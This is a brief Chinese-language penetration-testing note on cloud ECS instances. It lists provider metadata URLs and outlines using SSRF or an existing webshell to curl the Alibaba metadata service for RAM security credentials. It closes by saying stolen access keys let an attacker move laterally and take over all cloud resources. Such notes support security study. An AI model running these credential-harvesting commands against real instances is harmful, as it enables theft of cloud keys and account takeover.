云服务器ECS

0x01 前置知识

1.1 实例元数据metadata

实例云数据有以下几个元素：

实例ID

IP地址

网卡MAC

各个云厂商查看metadata的网址

阿里云元数据地址：http://100.100.100.200/

腾讯云元数据地址：http://metadata.tencentyun.com/

华为云元数据地址：http://169.254.169.254/

亚马云元数据地址：http://169.254.169.254/

微软云元数据地址：http://169.254.169.254/

谷歌云元数据地址：http://metadata.google.internal/

1.2 访问控制RAM

云服务器可以授予/收回多个RAM角色，不用的RAM角色用于管理不同的服务（ECS/OSS/RDS）。

1.3 利用步骤：

1、前提条件：

-弹性计算配置访问控制角色

-SSRF漏洞或已取得某云服务器权限（webshell或漏洞rce可以访问触发url）

2、利用环境

获取某服务器权限后进行横向移动/某云服务器上Web资产存在SSRF漏洞

-获取关键信息

curl http://100.100.100.200/latest/meta-data/

curl http://100.100.100.200/latest/meta-data/ram/security-credentials/

-获取临时凭证

http://100.100.100.200/latest/meta-data/ram/security-credentials/ecs

-利用AK横向移动

输入AK/SK进行全区域扫描，即可接管所用的资源。

https://wiki.teamssix.com/CF/